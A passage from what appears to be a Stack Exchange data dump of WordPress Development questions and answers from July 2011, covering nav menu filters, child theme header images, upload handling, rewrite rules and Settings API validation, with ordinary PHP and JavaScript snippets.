&lt;code&gt;wp_nav_menu()&lt;/code&gt; was called) and everything displays perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Force these arguments to be set by my plugin (possibly breaking themes or plugins that depend on knowing these classes)&lt;/li&gt;&#xA;&lt;li&gt;Trick WordPress into loading a normal page any time the settings are saved, causing it to call the &lt;code&gt;wp_nav_menu()&lt;/code&gt; function in its natural habitat (with whatever arguments may have been passed by themes)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a good solution for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per request, here's the code I'm using to modify the &lt;code&gt;wp_nav_menu()&lt;/code&gt; arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This is actually called during the 'init' hook:&#xA;add_action('wp_nav_menu_args', array(&amp;amp;$this, 'change_args'), 999); // 999 priority ensures my hook runs last&#xA;&#xA;function change_args( $args ) {&#xA;&#xA;    // Get options, duh&#xA;    $options = get_option('demenu-options');&#xA;&#xA;    // We MUST use our own walker, however that doesn't mean they can't have their own, too&#xA;    $DEMenu_Walker = new DEMenu_Walker();&#xA;    if( is_object( $args['walker'] ) ) {&#xA;        // Walker was declared. Pass it to my own.&#xA;        $DEMenu_Walker-&amp;gt;other_walker = $args['walker'];&#xA;    } elseif ( !empty( $args['walker'] ) &amp;amp;&amp;amp; is_string( $args['walker'] ) ) {&#xA;        // Walker was incorrectly declared, but I forgive them.&#xA;        $DEMenu_Walker-&amp;gt;other_walker = new $args['walker']();&#xA;    } else {&#xA;        // Invalid walker type was declared. Simply ignore it.&#xA;    }&#xA;    $args['walker'] = $DEMenu_Walker;&#xA;&#xA;    // Replace {menu slug} with appropriate slug in classes&#xA;    $menu = $this-&amp;gt;get_menu( $args );&#xA;    if( $menu ) {&#xA;        $args['container_class'] = str_replace( '{menu slug}', $menu-&amp;gt;slug, $args['container_class'] );&#xA;        $args['menu_class'] = str_replace( '{menu slug}', $menu-&amp;gt;slug, $args['menu_class'] );&#xA;    }&#xA;&#xA;    // Set $args according to settings&#xA;    if( ! empty( $options['container'] ) ) {&#xA;        $args['container'] = $options['container'];&#xA;    }&#xA;    if( ! empty( $options['container_class'] ) ) {&#xA;        $args['container_class'] = $options['container_class'];&#xA;    }&#xA;    if( ! empty( $options['menu_class'] ) ) {&#xA;        $args['menu_class'] = $options['menu_class'];&#xA;    }&#xA;    if( ! empty( $options['before'] ) ) {&#xA;        $args['before'] = $options['before'];&#xA;    }&#xA;    if( ! empty( $options['after'] ) ) {&#xA;        $args['after'] = $options['after'];&#xA;    }&#xA;    if( ! empty( $options['link_before'] ) ) {&#xA;        $args['link_before'] = $options['link_before'];&#xA;    }&#xA;    if( ! empty( $options['link_after'] ) ) {&#xA;        $args['link_after'] = $options['link_after'];&#xA;    }&#xA;    if( $options['depth'] != '' ) {&#xA;        // We compare to an empty string since '0' is &quot;empty&quot;&#xA;        $args['depth'] = $options['depth'];&#xA;    }&#xA;&#xA;    return $args;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially for every single argument I checked to see if I had an option for it. If so, replace the argument with my own. If not, leave the argument alone. Since my function is called last (priority = 999) any other plugins that modified the arguments have already had their turn. Since the theme made the original &lt;code&gt;wp_nav_menu()&lt;/code&gt; function call, it passed its arguments before I ever got a chance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point if &lt;code&gt;$options['container_class']&lt;/code&gt; is empty AND &lt;code&gt;$args['container_class']&lt;/code&gt; is empty then I know the container class should be &lt;code&gt;menu-{menu slug}-container&lt;/code&gt;. I also have the menu stored in &lt;code&gt;$menu&lt;/code&gt; so I can compute &lt;code&gt;$menu-&amp;gt;slug&lt;/code&gt; trivially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't know if &lt;code&gt;$args['container_class']&lt;/code&gt; will be empty until this point, so until now I had no way of guessing what the container class would be for use in my stylesheet. For now I have adopted the following solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if( ! empty( $options['container_class'] ) ) {&#xA;        $args['container_class'] = $options['container_class'];&#xA;    } else {&#xA;        // We don't have a container stored, so collect the default (set by themes or plugins)&#xA;        $options['container_class'] = $args['container_class'];&#xA;    }&#xA;    if( ! empty( $options['menu_class'] ) ) {&#xA;        $args['menu_class'] = $options['menu_class'];&#xA;    } else {&#xA;        // ditto&#xA;        $options['menu_class'] = $args['menu_class'];&#xA;    }&#xA;    /* ... */&#xA;    update_option('demenu-options', $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the first time that the page is loaded I don't know the container class (ergo there is no formatting), however every time thereafter I have it stored... until you go into the admin panel and make a change. If you change anything in the admin panel you risk saving a blank option so that the next page load is again unformatted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I want it to somehow figure out what &lt;code&gt;$args['container_class']&lt;/code&gt; and &lt;code&gt;$args['menu_class']&lt;/code&gt; will be when the options are saved (during the &lt;code&gt;validate_settings()&lt;/code&gt; part of the Settings API if possible)&lt;/p&gt;&#xA;" OwnerUserId="7429" LastEditorUserId="7429" LastEditorDisplayName="" LastEditDate="2011-07-31T04:32:18.303" LastActivityDate="2011-07-31T04:32:18.303" Title="Dynamically setting classes from themes - within a plugin" Tags="&lt;plugin-development&gt;&lt;navigation&gt;&lt;settings-api&gt;&lt;plugin-compatibility&gt;" CommentCount="3" FavoriteCount="3" />
  <row Id="24523" PostTypeId="1" CreationDate="2011-07-31T00:58:51.713" Score="0" ViewCount="85" Body="&lt;p&gt;I'm using a child theme of twentyeleven, and I'd like to replace the default 8 images with my own - and have them rotate as the default images do with the twentyeleven theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some have recommended simply replacing the default images with my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My concern about replacing the default images with the new ones in the twentyeleven/images/headers/ directory is that, if/when I were to update the twentyeleven theme, my custom images would be replaced with the defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the twentyeleven_setup() function includes a section that registers the default headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Am I right about the overwriting issue if/when I update twentyeleven?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) If so, I'd like to know how to designate a different directory (e.g., childtheme/images/headers/) as the repository of the custom images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that simply creating that new directory and uploading an image would work; it didn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2011-07-31T03:46:54.667" Title="How to replace default rotating header images with my own" Tags="&lt;theme-twenty-eleven&gt;" AnswerCount="1" />
  <row Id="24524" PostTypeId="1" AcceptedAnswerId="25048" CreationDate="2011-07-31T01:05:27.933" Score="0" ViewCount="28" Body="&lt;p&gt;If  I upload a given image like my-image.jpg, then following image resizes occurs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/my-image-100x100.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/my-image-100x100.jpg&lt;/a&gt;&#xA;  http://www.mysite.com/wp-content/uploads/YEAR/MONTH/my-image-200x150.jpg&#xA;  &lt;a href=&quot;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/my-image-500x300.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/my-image-500x300.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;also the original image is uploaded:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/my-image.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/my-image.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have two question about which actions try to:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1 Question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Rename image name to a complicated long name like 5702703214_85bfb55948.jpg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/5702703214_85bfb55948.jpg&#xA;&#xA;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/5702703214_85bfb55948-100x100.jpg&#xA;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/5702703214_85bfb55948-200x150.jpg&#xA;http://www.mysite.com/wp-content/uploads/YEAR/MONTH/5702703214_85bfb55948-500x300.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;2 Question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Avoid access to original image uploaded, let access to thumb, medium and large, but deny access just only to the original image uploaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-08-05T09:25:35.850" Title="Complicated image name like flickr does and deny access just to original image" Tags="&lt;uploads&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24525" PostTypeId="1" CreationDate="2011-07-31T01:19:30.413" Score="1" ViewCount="35" Body="&lt;p&gt;I created a front-end form and have several image upload fields.  I was able to create a post and have the images attached.  But what I would like to do is have the user see a preview of the image they are about to upload before submitting the Post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read quite a few alternatives, Uploadify, Valums.com &lt;a href=&quot;http://valums.com/ajax-upload&quot; rel=&quot;nofollow&quot;&gt;http://valums.com/ajax-upload&lt;/a&gt;, SWFupload and a few others I can't remember.  But the problem with all of them is that once i implement them in the form, the images are no longer attached to the post, but only uploaded to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion or code sample I can use to do this?  I have scoured the net for an answer - perhaps it's just not possible in WP to preview an image and also attach it to a post in one form?&lt;/p&gt;&#xA;" OwnerUserId="7481" LastActivityDate="2011-07-31T01:19:30.413" Title="Front-end Image Upload with Preview - Is this Possible in WP?" Tags="&lt;uploads&gt;&lt;image&gt;" FavoriteCount="2" />
  <row Id="24527" PostTypeId="2" ParentId="24523" CreationDate="2011-07-31T03:46:54.667" Score="1" ViewCount="" Body="&lt;p&gt;Best way to go is to make a Child Theme of Twenty Eleven.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then first remove the default images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // REMOVE TWENTY ELEVEN DEFAULT HEADER IMAGES&#xA;function wptips_remove_header_images() {&#xA;    unregister_default_headers( array('wheel','shore','trolley','pine-cone','chessboard','lanterns','willow','hanoi')&#xA;    );&#xA;}&#xA;add_action( 'after_setup_theme', 'wptips_remove_header_images', 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that you can tell your Child theme to use your own images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //ADD NEW DEFAULT HEADER IMAGES&#xA;function wptips_new_default_header_images() {&#xA;    $child2011_dir = get_bloginfo('stylesheet_directory');&#xA;    register_default_headers( array (&#xA;        'image1' =&amp;gt; array (&#xA;            'url' =&amp;gt; &quot;$child2011_dir/images/image1.jpg&quot;,&#xA;            'thumbnail_url' =&amp;gt; &quot;$child2011_dir/images/image1-thumb.jpg&quot;, // 230 x 66px&#xA;            'description' =&amp;gt; __( 'Image Description', 'child2011' )&#xA;        ), // if you have more than one image you will need a comma between all of them, except for the last one&#xA;        'image2' =&amp;gt; array (&#xA;            'url' =&amp;gt; &quot;$child2011_dir/images/image2.jpg&quot;,&#xA;            'thumbnail_url' =&amp;gt; &quot;$child2011_dir/images/image2-thumb.jpg&quot;, // 230 x 66px&#xA;            'description' =&amp;gt; __( 'Image Description', 'child2011' )&#xA;        ) // the last image does not get a comma&#xA;    ));&#xA;}&#xA;add_action( 'after_setup_theme', 'wptips_new_default_header_images' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read the entire explanation on &lt;a href=&quot;http://wpti.ps/?p=107&quot; rel=&quot;nofollow&quot;&gt;http://wpti.ps/?p=107&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-07-31T03:46:54.667" />
  <row Id="24528" PostTypeId="1" CreationDate="2011-07-31T05:41:10.987" Score="0" ViewCount="27" Body="&lt;p&gt;What is the difference between a solution such as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^author/(.+)$ http://www.yourblog.com/$1 [R=301,L] // change yourblog to website name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('author_link', 'no_author_base', 1000, 2);&#xA;function no_author_base($link, $author_id) {&#xA;    $link_base = trailingslashit(get_option('home'));&#xA;    $link = preg_replace(&quot;|^{$link_base}author/|&quot;, '', $link);&#xA;    return $link_base . $link;&#xA;}&#xA;add_filter('author_rewrite_rules', 'no_author_base_rewrite_rules');&#xA;function no_author_base_rewrite_rules($author_rewrite) {&#xA;    global $wpdb;&#xA;    $author_rewrite = array();&#xA;    $authors = $wpdb-&amp;gt;get_results(&quot;SELECT user_nicename AS nicename from $wpdb-&amp;gt;users&quot;);&#xA;    foreach($authors as $author) {&#xA;        $author_rewrite[&quot;({$author-&amp;gt;nicename})/page/?([0-9]+)/?$&quot;] = 'index.php?author_name=$matches[1]&amp;amp;paged=$matches[2]';&#xA;        $author_rewrite[&quot;({$author-&amp;gt;nicename})/?$&quot;] = 'index.php?author_name=$matches[1]';&#xA;    }&#xA;    return $author_rewrite;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is preferable?&lt;/p&gt;&#xA;" OwnerUserId="7408" LastActivityDate="2011-07-31T05:41:10.987" Title="Should I use rewrite rules or a function to remove the author base?" Tags="&lt;permalinks&gt;&lt;author&gt;&lt;rewrite-rules&gt;" />
  <row Id="24531" PostTypeId="1" CreationDate="2011-07-31T10:15:54.227" Score="1" ViewCount="37" Body="&lt;p&gt;how do I add some options to a theme? &#xA;I would like to add support, in my thmes, for dinamically changing the page background.&#xA;I don't even know how to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can break down this issue in two questions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how do I add a &quot;theme options page&quot;&lt;/li&gt;&#xA;&lt;li&gt;how do I create a function that prints the link to an uploaded&#xA;image, so I can hardcode the css in my header.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;thank you!&lt;/p&gt;&#xA;" OwnerUserId="5796" LastActivityDate="2011-08-30T13:36:58.687" Title="Using the theme options to change background" Tags="&lt;theme-development&gt;&lt;custom-field&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="24532" PostTypeId="2" ParentId="24391" CreationDate="2011-07-31T10:48:36.703" Score="1" ViewCount="" Body="&lt;p&gt;There is probably some code like this in your stylesheet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media print&#xA;{&#xA;    a::after&#xA;    {&#xA;        content: &quot; (&quot; attr(href) &quot;)&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove it and the URLs are not printed anymore.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-07-31T10:48:36.703" CommentCount="1" />
  <row Id="24533" PostTypeId="2" ParentId="24531" CreationDate="2011-07-31T10:48:54.220" Score="1" ViewCount="" Body="&lt;p&gt;For theme Settings see Chip Bennett's &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt;, also WordPress supports custom background, you can add support to your theme with &lt;code&gt;add_custom_background&lt;/code&gt;, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_custom_background&quot; rel=&quot;nofollow&quot;&gt;reference&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-07-31T10:48:54.220" CommentCount="1" />
  <row Id="24535" PostTypeId="1" CreationDate="2011-07-31T11:16:03.460" Score="0" ViewCount="21" Body="&lt;p&gt;I'm making a music website, and one of its main features is going to be an archive of song lyrics, guitar tabs, etc. I have created a custom post type, 'song', which contains the lyrics for the song, and a custom taxonomy, 'artist'. When added, the song will be tagged with one or more artists that have performed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another feature of my site, however, is a wiki which contains info about artists. Kinda like Last.fm, I guess. I would like to relate in some way each term in the 'artist' taxonomy to a post in a 'artist_wiki' post type. What's the best way to do this? I can only think of using the same slug for both, which looks messy.&lt;/p&gt;&#xA;" OwnerUserId="7490" LastActivityDate="2011-07-31T11:16:03.460" Title="Extending custom taxonomy terms" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" />
  <row Id="24537" PostTypeId="1" AcceptedAnswerId="27081" CreationDate="2011-07-31T11:32:41.120" Score="0" ViewCount="57" Body="&lt;p&gt;I'm working on a new Wordpress theme; the default index view displays the excerpts of recent posts. Some posts will be regarding file downloads, and include an image, description, and link to the location where the described files are hosted. The images for these types of posts will be anchored with links(other types of posts may contain images that are not linked).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For these types of posts, I would like the images to link to their entry's full post views(single.php) when displayed in excerpts, but for the same images to link to an external download link when displayed as part of the full post view.(The links that point to an external url point to another page that hosts the files, and not to the actual files directly.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how exactly I would accomplish that. Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7491" LastActivityDate="2011-08-27T21:54:51.483" Title="Dynamic Image Links Depending on Excerpt/'Single Post' View" Tags="&lt;theme-development&gt;&lt;images&gt;" AnswerCount="2" />
  <row Id="24538" PostTypeId="1" AcceptedAnswerId="24548" CreationDate="2011-07-31T11:43:09.173" Score="0" ViewCount="66" Body="&lt;p&gt;When you want to associate an image to a post which already has its own featured image, you have to use a custom field : you upload an image just as if you wanted to add an image inside your post, but then you just copy the image URL, click cancel, and put the image URL in the custom field value : burdensome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do that automatically without any need to copy and paste any URL, like having another featured image, but with a specific name and having the properties of a custom field ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope my question is understandable.&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-07-31T16:19:03.337" Title="Add an image box besides featured image?" Tags="&lt;posts&gt;&lt;images&gt;" AnswerCount="1" />
  <row Id="24540" PostTypeId="1" CreationDate="2011-07-31T12:11:11.243" Score="0" ViewCount="62" Body="&lt;p&gt;I'm writing a WordPress plug-in that requres user input, so I thought I'd try and use the default WordPress rich-text-editor. Firstly so as not to have to include a text editor in my plug-in when WordPress already has one, and secondly so it's more seamless for the user.&lt;br&gt;&#xA;I literally just want the default editor, nothing changed or customised about it.&lt;br&gt;&#xA;The problem is, I can't get it to work without errors, and there is little to no documentation on the the_editor() function.&#xA;At the moment I have this where my textbox should be:&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;?php&lt;br&gt;&#xA;the_editor($content, $id = 'content', $prev_id = 'title', $media_buttons = true, $tab_index = 2);&lt;br&gt;&#xA;?&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;And the editor appears, but with errors. For example the Visual/HTML looks broken, and the media buttons do nothing. I mean, you click them and nothing happens.&lt;br&gt;&#xA;(Can see what I mean &lt;a href=&quot;http://imageshack.us/photo/my-images/221/wordpressi.png/&quot; rel=&quot;nofollow&quot;&gt;http://imageshack.us/photo/my-images/221/wordpressi.png/&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="7492" LastActivityDate="2011-07-31T12:11:11.243" Title="the_editor() function" Tags="&lt;plugin-development&gt;&lt;tinymce&gt;&lt;editor&gt;" />
  <row Id="24541" PostTypeId="2" ParentId="24537" CreationDate="2011-07-31T12:41:21.510" Score="1" ViewCount="" Body="&lt;p&gt;If I understand it correctly, in you index.php you want to link the image to the full post. You can accomplish that by adding this to your index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; alt=&quot;&amp;lt;?php _e('Read full article', 'theme');?&amp;gt;&quot; title=&quot;&amp;lt;?php _e('Read full article', 'theme');?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('name-thumb'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assuming that you use the featured image to show the image on the index page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the full post (i.e. on single.php) you want the link to go to an external link.&#xA;To accomplish this, I think you'd best add the external link during the image upload, where it says &quot;image links to&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-07-31T12:41:21.510" CommentCount="3" />
  <row Id="24542" PostTypeId="2" ParentId="24442" CreationDate="2011-07-31T13:48:34.657" Score="1" ViewCount="" Body="&lt;p&gt;Just to offer up some different approaches ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_the_terms( $post-&amp;gt;ID, 'category' );&#xA;$terms = ( $terms ) ? wp_list_pluck( $terms, 'slug' ) : array();&#xA;$space = !empty( $terms ) ? ' ' : '';&#xA;printf( '&amp;lt;div class=&quot;cat-hidden%s&quot;&amp;gt;&amp;lt;/div&amp;gt;', $space . implode( ' ', $terms ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_the_terms( $post-&amp;gt;ID, 'category' );&#xA;$terms = ( $terms ) ? wp_list_pluck( $terms, 'slug' ) : array();&#xA;$classes = !empty( $terms ) ? ' ' . implode( ' ', $terms ) : '';&#xA;echo &quot;&amp;lt;div class='cat-hidden$classes'&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pluck&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_pluck&lt;/code&gt;&lt;/a&gt; function is real handy for these kind of things, avoids the need to do any looping yourself..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-31T13:48:34.657" CommentCount="2" />
  <row Id="24543" PostTypeId="2" ParentId="24517" CreationDate="2011-07-31T14:35:01.657" Score="0" ViewCount="" Body="&lt;p&gt;It's not a simple process, but you can do it with some javascript code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to be shilling or anything, but my plugin &lt;a href=&quot;http://plugins.svn.wordpress.org/simple-facebook-connect/branches/new-sfc/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect&lt;/a&gt; makes this a LOT easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1: You need a Facebook Application for your website. SFC guides you through this and configures the javascript on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2: You add some Like buttons. SFC lets you do this automatically or manually with function calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: You add some special javascript code to catch the edge-creation. Here's an example of doing this with SFC:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('sfc_async_init','like_detect_edges');&#xA;&#xA;function like_detect_edges() {&#xA;?&amp;gt;&#xA;    FB.Event.subscribe(&quot;xfbml.render&quot;, function() {&#xA;        FB.Event.subscribe(&quot;edge.create&quot;, function(targetUrl) {&#xA;            alert('edge.create: '+targetUrl);&#xA;        });&#xA;        FB.Event.subscribe(&quot;edge.remove&quot;, function(targetUrl) {&#xA;            alert('edge.remove: '+targetUrl);&#xA;        });&#xA;    });&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This adds some code to the initialization phase of the FB javascript such that the like and unlike events will be captured and trigger some javascript code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I used alert's here, but if you were to change the document.url there, then the page would redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this without SFC is a bit more complex. You have to add your own initialization code, the loader for FB's all.js, the like button XFBML, etc.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-31T14:35:01.657" />
  <row Id="24544" PostTypeId="1" AcceptedAnswerId="24972" CreationDate="2011-07-31T14:52:01.537" Score="5" ViewCount="122" Body="&lt;p&gt;Lately I've been reading about &lt;a href=&quot;http://mariadb.org/&quot; rel=&quot;nofollow&quot;&gt;MariaDB&lt;/a&gt; and &lt;a href=&quot;http://www.percona.com/software/percona-server/&quot; rel=&quot;nofollow&quot;&gt;Percona Server&lt;/a&gt;, two strong alternatives to MySQL that have gained popularity since Oracle bought Sun. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, both of them could be used with WordPress, but I'd like to know if anyone uses them, and if they really help make our blogs and servers run better than they did with MySQL. &lt;/p&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="2962" LastEditorDisplayName="" LastEditDate="2011-07-31T15:46:59.180" LastActivityDate="2011-08-28T09:10:59.383" Title="The MySQL alternatives: Do Percona Server and MariaDB work well with WordPress, and do they make WordPress go better?" Tags="&lt;database&gt;&lt;mysql&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="24545" PostTypeId="2" ParentId="24118" CreationDate="2011-07-31T15:20:32.047" Score="-1" ViewCount="" Body="&lt;p&gt;first off, understand that every time you do a call to &lt;code&gt;update_option()&lt;/code&gt; and &lt;code&gt;delete_option()&lt;/code&gt; - not sure about &lt;code&gt;delete_option()&lt;/code&gt; though - the validation function is called. And the way &lt;code&gt;tccl_settings_domains_validate()&lt;/code&gt; is validating is what's causing the &lt;code&gt;update_option()&lt;/code&gt; function to add more options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function tccl_settings_domains_validate( $input ) {&#xA;   $options = get_option( 'tccl_settings_domains' );&#xA;   $options[] = $input;&#xA;   return $options;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what this function is doing is to take whatever is inside *tccl_settings_domains* and assign it to &lt;code&gt;$options&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$options = get_option('tccl_settings_domains');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then add/push whatever is in &lt;code&gt;$input&lt;/code&gt; into &lt;code&gt;$options&lt;/code&gt; array. When the function returns &lt;code&gt;$options&lt;/code&gt; (which basically &quot;saves&quot; the option) what's saved are the contents of options field &lt;strong&gt;plus&lt;/strong&gt; the value of &lt;code&gt;$input&lt;/code&gt;. Thus, the array gets bigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, try this for a start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tccl_settings_domains_validate( $input ) {&#xA;    if( isset( $input['action'] ) &amp;amp;&amp;amp; $input['action'] == 'add-domain' ){&#xA;        //add new value to $options array&#xA;        options = get_option( 'tccl_settings_domains' );&#xA;        $options[] = $input;&#xA;        return $options;&#xA;    }&#xA;    //return whatever value is passed.&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then, in the Add Domain form (one that goes to options.php), add this hidden input &lt;code&gt;&amp;lt;input name=&quot;tccl_settings_domains[action]&quot; type=&quot;hidden&quot; value=&quot;add-domain&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the most straightforward solution I could think of that involves minimum amount of change in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know if that works for you =)&lt;/p&gt;&#xA;" OwnerUserId="6658" LastEditorUserId="6658" LastEditorDisplayName="" LastEditDate="2011-07-31T16:06:53.440" LastActivityDate="2011-07-31T16:06:53.440" CommentCount="3" />
